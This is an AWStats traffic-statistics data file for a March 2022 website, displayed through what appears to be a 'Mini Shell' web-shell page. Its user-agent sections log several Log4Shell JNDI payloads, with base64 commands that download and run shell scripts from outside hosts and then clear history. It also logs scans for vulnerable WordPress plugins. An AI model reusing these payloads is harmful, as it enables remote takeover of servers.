Mini Shell

Direktori : /home/rizant5/tmp/awstats/ssl/
Upload File :
Current File : //home/rizant5/tmp/awstats/ssl/awstats032022.development.lankavirtualacademy.com.txt

AWSTATS DATA FILE 7.7 (build 20180105)
# If you remove this file, all statistics for date 202203 will be lost/reset.
# Last config file used to build this data file was /home/rizant5/tmp/awstats/ssl/awstats.development.lankavirtualacademy.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2035                
POS_TIME 2717                
POS_VISITOR 17811               
POS_DAY 40482               
POS_DOMAIN 3635                
POS_LOGIN 4429                
POS_ROBOT 4584                
POS_WORMS 5347                
POS_EMAILSENDER 5478                
POS_EMAILRECEIVER 5621                
POS_SESSION 41407               
POS_SIDER 41619               
POS_FILETYPES 5756                
POS_DOWNLOADS 6250                
POS_OS 7373                
POS_BROWSER 7769                
POS_SCREENSIZE 10642               
POS_UNKNOWNREFERER 10716               
POS_UNKNOWNREFERERBROWSER 13652               
POS_ORIGIN 16218               
POS_SEREFERRALS 16363               
POS_PAGEREFS 16507               
POS_SEARCHWORDS 17150               
POS_KEYWORDS 17302               
POS_MISC 2380                
POS_ERRORS 17361               
POS_CLUSTER 4285                
POS_SIDER_404 17502               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20220401000905 128 19060 4771807933843
FirstTime 20220301004045
LastTime 20220331235405
LastUpdate 20220401082757 128 0 122 5 0
TotalVisits 1179                
TotalUnique 556                 
MonthHostsKnown 0                   
MonthHostsUnknown 571                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
QuickTimeSupport 0 0 0
AddToFavourites 0 47 0
DirectorSupport 0 0 0
TotalMisc 0 0 0
RealPlayerSupport 0 0 0
FlashSupport 0 0 0
PDFSupport 0 0 0
JavaEnabled 0 0 0
JavascriptDisabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 206 206 8885787 42 67 2303636
1 170 171 7331120 46 56 1517923
2 194 195 8367930 29 39 1339210
3 159 162 6884175 29 53 1494527
4 184 186 7894845 31 44 1388756
5 172 174 7404535 26 44 1364890
6 189 190 8010846 35 92 3539569
7 159 160 6881875 30 43 1467472
8 183 183 7738886 37 70 1941005
9 205 208 8844645 37 63 1691166
10 190 192 8168907 32 38 667358
11 205 207 8865668 36 50 1081452
12 298 299 12706770 224 265 2874481
13 182 185 7921625 34 77 2768934
14 195 206 8615636 31 48 1291700
15 177 180 7636345 28 44 1173946
16 220 253 10311000 112 148 2661815
17 315 317 13561114 133 175 2133671
18 172 173 7418004 96 141 3893259
19 179 200 8119020 31 45 1298208
20 203 230 9733419 40 76 1750771
21 194 204 8359849 52 95 3103725
22 200 205 8601668 34 47 1205145
23 189 189 8178975 33 43 1197737
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 39
us 3765 3803 162999275
in 337 337 14428186
gb 205 205 8511548
ru 110 137 5707469
cn 87 140 4694663
jp 30 30 1290243
nl 27 30 1171875
bg 21 21 908775
ca 19 19 793655
bz 13 13 562575
de 12 12 466743
zz 11 11 476025
gr 10 10 432750
ao 10 12 435050
fr 10 10 432750
it 8 8 346200
pa 8 8 346200
il 7 7 302925
sc 7 7 294918
ro 6 6 259650
dk 6 6 259650
eu 6 6 259650
kh 3 3 129825
br 2 2 86550
es 2 2 86550
ua 1 2 44425
mo 1 2 44425
at 2 2 86550
kr 2 2 86550
cz 1 1 43275
is 1 1 43275
au 2 2 86550
id 2 2 86550
th 1 1 43275
ee 1 1 43275
lk 0 10 35420
cl 1 1 43275
se 2 2 28824
be 1 1 43275
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 15
baidu 286 12684884 20220331004613 0
Googlebot/ 221 7871010 20220331193240 45
bot[\s_+:,\.\;\/\\-] 199 6613602 20220331230837 30
no_user_agent 171 6638780 20220331231152 13
(firefox/)([0-9]\.|[0-1][0]\.) 104 2573784 20220330195007 0
bingbot/ 98 4240950 20220331131632 40
Baiduspider/ 23 876082 20220331004550 0
unknown 19 822225 20220330094349 19
Python\-urllib/ 7 280503 20220327131558 0
Dalvik/ 4 173100 20220318162555 0
AhrefsBot/ 2 86550 20220303161446 2
spider 1 43275 20220315215110 0
Googlebot\-Image/ 1 9260 20220331030500 0
Screaming[\x20]Frog[\x20]SEO[\x20]Spider/ 1 43275 20220310153537 0
crawl 1 43275 20220308034755 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 24
js 60 1777467 0 0
Unknown 287 12259474 0 0
env 139 6015058 0 0
cgi 2 86550 0 0
jpg 9 13150 0 0
php 80 2758897 0 0
aspx 48 2077200 0 0
json 25 1081875 0 0
html 4051 174663098 0 0
css 6 259650 0 0
txt 17 735675 0 0
csp 1 43275 0 0
xml 92 3952730 0 0
db 1 43275 0 0
axd 2 86550 0 0
ico 41 47150 0 0
local 1 43275 0 0
exp 2 86550 0 0
action 1 43275 0 0
png 2 22270 0 0
tpl 4 173100 0 0
ini 1 43275 0 0
jsp 1 43275 0 0
cc 2 86550 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 18
/.well-known/security.txt 13 0 562575
/wp-content/plugins/ulisting/readme.txt 1 0 43275
/wp-content/plugins/capabilities-pro/readme.txt 1 0 43275
/wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt 1 0 43275
/wp-content/plugins/shortcode-addons/readme.txt 1 0 43275
/wp-content/plugins/capability-manager-enhanced/readme.txt 1 0 43275
/wp-content/plugins/mstore-api/readme.txt 1 0 43275
/wp-content/plugins/emails-verification-for-woocommerce/readme.txt 1 0 43275
/wp-content/plugins/ait-csv-import-export/changelog.txt 1 0 43275
/wp-content/plugins/angwp/__%20UPDATES.txt 1 0 43275
/wp-content/plugins/iwp-client/readme.txt 1 0 43275
/wp-content/plugins/wp-file-manager/readme.txt 1 0 43275
/wp-content/plugins/themegrill-demo-importer/readme.txt 1 0 43275
/wp-content/plugins/vc-tabs/readme.txt 1 0 43275
/wp-content/plugins/woocommerce-jetpack/readme.txt 1 0 43275
/wp-content/plugins/advanced-import/readme.txt 1 0 43275
/wp-content/plugins/image-hover-effects-ultimate/readme.txt 1 0 43275
/wp-content/plugins/wp-time-capsule/readme.txt 1 0 43275
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 25
bsdopenbsd 3 3
win8.1 7 7
linux 250 248
ios_ipad 2 2
winlong 6 6
winvista 1 1
macosx12 1 1
win7 84 60
win2003 2 2
winxp 17 17
linuxandroid 68 58
unix 1 1
ios_iphone 29 29
win8 20 20
macosx9 3 3
macosx10 32 7
macosx11 22 22
macosx 109 65
winnt 4 4
macosx7 5 5
winunknown 1 1
win10 814 798
Unknown 3386 3372
macosx8 7 7
macosx6 1 1
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 134
firefox 2 2
chrome41.0.2225.0 1 1
chrome88.0.4324.93 10 0
chrome86.0.4 4 4
chrome86.0.4240.75 1 1
netscape 2 2
chrome69.0.2527.114 1 1
chrome41.0.2224.3 1 1
chrome74.0.3729.131 4 4
chrome54.0.3085.55 1 1
firefox68.0 1 1
chrome41.0.2228.0 7 7
mozilla 88 88
chrome80.0.3987.149 1 1
opera11.01 1 1
chrome90.0.4430.85 22 22
chrome60.0.3112.113 215 214
chrome34.0.1866.237 1 1
chrome76.0.3809.111 3 3
opera63.3.3216.58675 1 1
chrome65.0.2356.114 1 1
firefox80.0 12 0
chrome70.0.3538.77 6 6
opera9.21 2 2
chrome76.0.3809.100 2 2
chrome96.0.4664.110 15 11
chrome34.0.1847.137 16 16
firefox58.0 6 6
netscape5.0 138 132
chrome77.0.3833.99 1 1
chrome31.0.1650.16 1 1
chrome65.0.2198.21 1 1
chrome61.0.3163.91 1 1
chrome78.0.3904.108 256 256
chrome62.0.2812.117 1 1
chrome4.0.207.0 2 2
chrome81.0.4044.129 178 178
chrome20.0.1132.57 1 1
chrome81.0.4044.138 1 1
firefox83.0 9 9
firefox87.0 2 2
msie8.0 10 10
android 29 29
firefox38.0 4 4
chrome75.0.3770.143 1 1
firefox45.0 2 2
chrome49.0.2623.112 20 3
chrome99.0.4844.82 1 1
firefox73.0 9 7
firefox77.0 42 42
chrome89.0.4389.114 44 44
msie10.0 13 13
chrome92.0.4515.131 1 1
chrome48.0.2564.116 15 15
chrome53.0.2820.59 1 1
chrome44.0.2403.155 2 2
chrome36.0.1985.67 2 2
firefox43.43.2 1 1
safari14.0.3 21 21
chrome89.0.4389.105 1 1
chrome74.0.2741.35 1 1
chrome50.0.3016.78 1 1
chrome66.0.3359.117 5 5
chrome75.0.3770.142 1 1
chrome74.0.3729.169 20 20
chrome92.0.4515.166 2 2
firefox79.0 1 1
chrome74.0.3729.108 1 1
firefox47.0 14 14
msie9.0 2 2
safari 5 5
chrome45.0.2454.101 5 5
firefox41.49.2 1 1
firefox35.49.1 2 2
chrome35.0.2117.157 4 4
chrome54.0.2866.71 2 2
chrome94.0.4606.81 128 128
firefox25.0 1 1
firefox21.0.1 1 1
chrome47.0.2526.106 5 5
msie11.0 2 2
chrome37.0.2049.0 6 6
chrome17.0.963.56 7 5
chrome50.0.3014.53 1 1
chrome36.0.1944.0 2 2
safari13.1.1 1 1
safari1.2.2 1 1
chrome35.0.2309.372 1 1
chrome88.0.4324.190 9 9
chrome89.0.4389.90 2 2
chrome49.0.2656.18 5 5
chrome83.0.4103.116 1 1
chrome88.0.4298.0 1 1
chrome95.0.4638.69 21 21
opera54.0.2952.71 1 1
chrome63.0.3239.132 7 1
chrome92.0.4515.159 3 3
chrome20.0.1092.0 1 0
chrome36.0.1985.125 30 30
msie6.0 2 2
firefox50.0 1 1
chrome96.0.4664.45 2 2
chrome72.0.1991.40 1 1
opera60.0.3255.109 1 1
Unknown 3176 3170
chrome60.0.3112.107 16 16
chrome51.0.3035.103 1 1
safari9.0 1 1
chrome84.0.4147.105 17 7
iphone 6 6
opera11.10 1 1
safari12.1.1 1 1
firefox74.0 2 2
chrome41.0.2226.0 1 1
firefox76.0 4 4
chrome41.0.2227.0 1 1
chrome52.0.2762.73 1 1
firefox48.50 1 1
chrome39.0.2171.95 27 2
chrome50.0.2661.102 4 4
chrome87.0.4280.88 32 4
opera11.52 1 1
chrome68.0.3059.111 1 1
chrome55.0.2883.87 9 9
chrome41.0.2227.1 3 3
safari5.0.2 1 1
chrome98.0.4758.81 1 1
chrome69.0.2383.29 1 1
chrome75.0.1268.39 1 1
chrome37.0.2062.124 2 2
firefox65.0 10 5
chrome78.0.456.5 1 1
chrome98.0.4758.102 2 2
chrome76.0.1622.50 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 37
VLC/3.0.8_LibVLC/3.0.8 20220330231836
https://gdnplus.com:Gather_Analyze_Provide. 20220329230633
python-requests/2.25.1 20220330180830
\ 20220326154659
python-requests/2.22.0 20220322040418
python-requests/2.26.0 20220331093726
Mozilla 20220327165834
/${jndi:ldap://185.203.118.200:1389/Exploit} 20220308203543
python-requests/2.27.1 20220331131100
wp_is_mobile 20220311174555
Go-http-client/1.1 20220331235405
${jndi:ldap://115.28.134.231:1389/Exploit} 20220305063246
Mozilla/5.0_(compatible;_NetcraftSurveyAgent/1.0;__info@netcraft.com) 20220310015635
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//161.35.0.84:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzEzNS4xNDguOTEuMTQ2L2JpbnMuc2ggLW8gYmlucy5zaDsgd2dldCBodHRwOi8vMTM1LjE0OC45MS4xNDYvYmlucy5zaDsgY2htb2QgNzc3IGJpbnMuc2g7IHNoIGJpbnMuc2g7IHJtIC1yZiBiaW5zLnNoOyBoaXN0b3J5IC1j}') 20220306162259
Python/3.9_aiohttp/3.7.4.post0 20220322075940
Fuzz_Faster_U_Fool_v1.3.1-dev 20220330173029
l9tcpid/v1.1.0 20220321154137
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20220328191247
Python/3.7_aiohttp/3.7.4.post0 20220328095757
HTTP_Banner_Detection_(https://security.ipip.net) 20220326025051
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//82.148.6.244:2420/TomcatBypass/Command/Base64/d2dldCA0Ni4xNDguMjI0LjI3L3dnZXQuc2g7IGNobW9kICt4IHdnZXQuc2g7IC4vd2dldC5zaDsgcm0gLXJmIHdnZXQuc2g=}') 20220312170313
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//205.185.114.157:2420/TomcatBypass/Command/Base64/d2dldCA0Ni4xNDguMjI0LjI3L3dnZXQuc2g7IGNobW9kICt4IHdnZXQuc2g7IC4vd2dldC5zaDsgcm0gLXJmIHdnZXQuc2g=}') 20220303111353
Roku/DVP-9.10_(289.10E04111A) 20220310005121
like_Gecko)_Chrome/17.0.963.56_Safari/535.11\ 20220326154657
python-httpx/0.19.0 20220315135421
python-requests/2.21.0 20220305005956
Mozilla/5.0_zgrab/0.x 20220331214035
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20220331210251
like_Gecko)_Chrome/55.0.2883.87_UBrowser/6.2.4094.1_Safari/537.36\ 20220326154653
Mozilla/5.0_(platform;_rv:geckoversion)_Gecko/geckotrail_Firefox/firefox 20220305063247
Mozilla/5.0 20220308023207
sftlnr_-_(http://sftlnr.com/) 20220319104454
python-requests/2.9.1 20220331011729
Mozilla/5.0_(compatible;) 20220323214516
t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.65.177.44:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny45OS40OS4xMzIvOFVzQS5zaDsgY3VybCAtTyBodHRwOi8vMTY3Ljk5LjQ5LjEzMi84VXNBLnNoOyBjaG1vZCA3NzcgOFVzQS5zaDsgc2ggOFVzQS5zaA==}') 20220319204519
l9explore/1.2.2 20220313220852
'Cloud_mapping_experiment._Contact_research@pdrlabs.net' 20220329134153
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 30
sftlnr_-_(http://sftlnr.com/) 20220319104454
l9explore/1.2.2 20220313220852
'Cloud_mapping_experiment._Contact_research@pdrlabs.net' 20220329134153
python-requests/2.9.1 20220331011729
t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.65.177.44:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny45OS40OS4xMzIvOFVzQS5zaDsgY3VybCAtTyBodHRwOi8vMTY3Ljk5LjQ5LjEzMi84VXNBLnNoOyBjaG1vZCA3NzcgOFVzQS5zaDsgc2ggOFVzQS5zaA==}') 20220319204519
Roku/DVP-9.10_(289.10E04111A) 20220310005121
python-httpx/0.19.0 20220315135421
python-requests/2.21.0 20220305005956
l9tcpid/v1.1.0 20220321154137
python-requests/2.6.0_CPython/2.7.5_Linux/3.10.0-1160.el7.x86_64 20220330163757
Python/3.7_aiohttp/3.7.4.post0 20220328095757
HTTP_Banner_Detection_(https://security.ipip.net) 20220326025051
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//82.148.6.244:2420/TomcatBypass/Command/Base64/d2dldCA0Ni4xNDguMjI0LjI3L3dnZXQuc2g7IGNobW9kICt4IHdnZXQuc2g7IC4vd2dldC5zaDsgcm0gLXJmIHdnZXQuc2g=}') 20220312170313
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20220328191247
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//205.185.114.157:2420/TomcatBypass/Command/Base64/d2dldCA0Ni4xNDguMjI0LjI3L3dnZXQuc2g7IGNobW9kICt4IHdnZXQuc2g7IC4vd2dldC5zaDsgcm0gLXJmIHdnZXQuc2g=}') 20220303111353
${jndi:ldap://115.28.134.231:1389/Exploit} 20220305063246
Go-http-client/1.1 20220331235405
Python/3.9_aiohttp/3.7.4.post0 20220322075940
Fuzz_Faster_U_Fool_v1.3.1-dev 20220330173029
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//161.35.0.84:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzEzNS4xNDguOTEuMTQ2L2JpbnMuc2ggLW8gYmlucy5zaDsgd2dldCBodHRwOi8vMTM1LjE0OC45MS4xNDYvYmlucy5zaDsgY2htb2QgNzc3IGJpbnMuc2g7IHNoIGJpbnMuc2g7IHJtIC1yZiBiaW5zLnNoOyBoaXN0b3J5IC1j}') 20220306162259
python-requests/2.26.0 20220331093726
python-requests/2.22.0 20220322040418
python-requests/2.27.1 20220331131100
python-requests/2.6.0_CPython/2.7.5_Linux/3.10.0-1160.59.1.el7.x86_64 20220322013431
wp_is_mobile 20220311174555
/${jndi:ldap://185.203.118.200:1389/Exploit} 20220308203543
python-requests/2.25.1 20220330180830
https://gdnplus.com:Gather_Analyze_Provide. 20220329230633
\ 20220326154659
VLC/3.0.8_LibVLC/3.0.8 20220330231836
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 4434 4528
From1 114 114
From2 0 0
From3 192 205
From4 0 28
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 13
http://198.46.88.252 118 118
https://198.46.88.252:443 21 21
https://198.46.88.252:443/index.php 16 16
https://198.46.88.252/index.php 14 14
http://198.46.88.252:80 9 9
https://198.46.88.252/contact-us.php 4 4
http://198.46.88.252/sitemap.xml 4 4
http://198.46.88.252 3 3
https://198.46.88.252/cap_union_new_verify 1 1
https://198.46.88.252/Microsoft-Server-ActiveSync 1 1
http://198.46.88.252/phpmyadmin/index.php 1 1
http://198.46.88.252/lankavirtualacademy.ico 0 4
https://198.46.88.252 0 9
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
400 44 1746197
301 420 110854
406 199 56400
403 3 27
421 12 3864
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 0
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 571
173.231.218.122 2818 2818 121948950 20220331235405
45.146.165.37 165 165 7111805 20220324144853
217.138.192.70 128 128 5457070 20220316124807
52.161.1.141 97 97 4142470 20220311174555
45.155.204.146 48 48 2077200 20220331233319
103.133.107.210 40 40 1731000 20220328201033
104.37.186.28 38 38 1644450 20220304172234
43.128.61.192 27 27 1168425 20220313162508
45.79.74.28 23 23 995325 20220319083537
128.1.248.26 20 20 865500 20220331025150
128.14.209.162 18 18 737885 20220330095139
109.237.103.9 17 17 735675 20220331161920
45.9.20.65 17 17 735675 20220320005231
45.79.74.99 17 17 735675 20220318234809
128.14.141.34 17 18 735675 20220331110611
47.243.233.244 16 16 663830 20220309061112
198.46.88.252 16 16 692400 20220331011729
78.128.113.170 15 15 649125 20220325112338
128.14.134.170 15 15 649125 20220330184951
128.1.248.42 15 15 649125 20220326111055
193.118.53.194 15 15 649125 20220328194904
128.14.133.58 15 15 649125 20220331004724
193.118.53.210 14 14 605850 20220331181717
116.63.44.174 13 13 425411 20220322084130
193.118.53.202 13 13 562575 20220331040942
23.129.64.144 1 1 43275 20220328120315
52.47.116.240 4 4 173100 20220313173841
185.220.100.253 1 1 43275 20220301125900
40.117.118.162 2 2 86550 20220303184314
52.243.92.221 2 2 86550 20220323102311
192.241.214.147 1 1 43275 20220330145117
192.241.220.125 1 1 43275 20220305020209
192.241.218.13 1 1 43275 20220301224542
92.118.160.37 2 2 86550 20220328191247
185.220.101.56 1 1 43275 20220310085611
91.191.209.190 4 4 173100 20220321130059
45.83.64.251 0 1 1150 
104.238.221.252 4 4 173100 20220322203653
128.90.154.110 1 1 16495 20220328122942
66.175.217.129 8 8 346200 20220319104454
192.241.223.13 1 1 43275 20220314004927
162.142.125.210 1 1 43275 20220328041247
192.241.219.61 1 1 43275 20220301092816
45.134.144.141 1 1 43275 20220306080051
168.205.133.39 9 9 389475 20220329115129
101.227.1.197 1 11 352191 20220327163821
23.129.64.138 1 1 43275 20220331230125
118.174.183.89 1 1 43275 20220306230301
103.28.70.140 2 2 86550 20220306093037
142.93.177.175 1 1 43275 20220315181757
45.134.22.36 4 4 173100 20220302050104
192.241.223.115 1 1 43275 20220326024744
45.33.102.90 1 1 43275 20220303183314
36.150.60.24 1 1 43275 20220311043613
106.75.134.116 1 7 168420 20220326193920
192.241.225.234 1 1 43275 20220317024027
34.205.146.20 2 2 86550 20220330074838
154.209.125.47 1 1 43275 20220327215010
45.79.74.141 11 11 476025 20220318224056
192.241.216.5 1 1 43275 20220315005330
116.55.222.232 1 1 43275 20220329120905
161.189.192.94 4 4 173100 20220305005956
192.241.214.250 1 1 43275 20220330025052
103.237.101.15 1 2 44425 20220305223220
162.142.125.9 2 2 86550 20220316084914
179.43.147.50 1 1 43275 20220325082133
170.178.217.103 1 1 43275 20220329051954
192.241.212.24 1 1 43275 20220321024246
43.135.127.134 1 1 43275 20220327163538
192.241.212.102 1 1 43275 20220314053008
5.62.49.86 2 2 86550 20220324052736
154.209.125.42 2 2 86550 20220318142213
208.109.188.131 1 1 43275 20220330003658
104.215.120.61 4 4 173100 20220304173347
192.241.219.178 1 1 43275 20220305190628
194.110.115.18 2 2 28824 20220327101617
82.27.232.56 1 1 35268 20220320211350
31.6.60.69 2 2 33993 20220328222606
209.141.51.222 1 1 43275 20220319204528
167.248.133.62 2 2 86550 20220316015704
134.209.204.196 2 2 86550 20220328155627
82.221.105.7 1 1 43275 20220331141442
23.225.180.198 1 1 43275 20220309094205
192.241.217.38 1 1 43275 20220305190424
20.194.97.148 1 1 43275 20220308041837
139.162.207.84 2 2 86550 20220329013957
157.230.38.65 6 6 259650 20220330231846
122.114.236.225 1 1 43275 20220327010823
121.46.25.189 5 7 218675 20220326154659
45.87.62.70 2 2 86550 20220316152021
192.241.215.237 1 1 43275 20220323024600
118.123.105.87 2 2 86550 20220323034043
45.87.62.198 2 2 86550 20220328192021
167.248.133.118 4 4 173100 20220326035605
167.94.138.63 3 3 129825 20220310215221
162.142.125.222 1 1 43275 20220302103009
192.241.212.170 1 1 43275 20220324024417
192.241.221.92 1 1 43275 20220303224214
192.241.224.23 0 1 43275 
192.241.222.122 1 1 43275 20220312234045
185.7.214.221 4 4 173100 20220311041140
116.179.32.86 1 1 43275 20220308174614
159.203.64.220 1 1 43275 20220308045246
192.241.214.115 1 1 43275 20220312024012
183.136.225.42 1 2 44425 20220321031507
34.214.213.146 3 3 129825 20220302101345
207.244.233.27 1 1 43275 20220320193020
69.167.44.249 2 2 33993 20220328205800
192.241.224.35 1 1 43275 20220330001852
2.57.121.37 5 5 216375 20220322013431
64.44.139.174 1 1 43275 20220319052211
128.90.180.165 1 1 16495 20220315040002
5.181.40.111 2 2 33993 20220328120025
159.65.42.96 1 1 43275 20220319204519
150.158.17.49 1 1 43275 20220329135235
180.215.192.168 1 1 43275 20220314101753
192.241.226.62 1 1 43275 20220329111440
162.142.125.7 2 2 86550 20220311181206
128.14.209.250 1 1 43275 20220313003049
175.157.88.22 0 10 35420 
140.228.29.228 2 2 86550 20220323201654
71.6.167.142 1 2 44425 20220324073709
167.94.138.117 1 1 43275 20220320210500
45.83.67.21 1 1 43275 20220302113840
192.241.224.202 1 1 43275 20220326010611
217.114.43.75 2 2 86550 20220304041744
212.192.241.10 2 27 1168425 20220313200057
213.32.122.82 6 6 259650 20220329095203
192.241.222.234 1 1 43275 20220320024341
54.254.219.245 10 10 432750 20220321215530
36.37.185.88 3 3 129825 20220303193539
192.241.220.176 1 1 43275 20220304230017
111.28.189.51 1 1 43275 20220305004143
192.241.223.149 1 1 43275 20220317123311
185.220.100.255 1 1 43275 20220322150937
20.78.146.162 2 2 86550 20220305001950
45.146.165.168 3 3 129825 20220318113955
173.255.215.150 1 1 43275 20220322040418
192.241.225.125 1 1 43275 20220314004919
220.181.51.86 2 2 86550 20220305171951
45.134.22.139 8 8 346200 20220302094319
192.241.223.156 1 1 43275 20220324123634
45.83.66.34 0 1 1150 
92.118.160.13 3 3 129825 20220328185800
192.241.219.87 1 1 43275 20220301233556
45.134.144.140 11 11 476025 20220330163757
167.94.138.47 4 4 173100 20220331064800
18.163.74.180 1 1 43275 20220323224244
103.247.21.18 2 2 86550 20220331015043
167.248.133.120 1 1 43275 20220322211851
194.39.126.107 3 3 129825 20220327083430
92.118.160.41 1 1 43275 20220319064020
179.60.149.12 3 3 129825 20220330180830
45.79.132.80 1 1 43275 20220308165017
192.241.213.205 1 1 43275 20220320024219
193.118.55.170 1 1 43275 20220331144959
139.162.215.70 4 4 173100 20220323080745
181.214.206.161 1 1 43275 20220311210932
192.241.222.77 1 1 43275 20220330175236
45.83.67.213 0 1 1150 
161.189.134.11 4 4 173100 20220304220700
109.237.103.123 12 12 519300 20220331020026
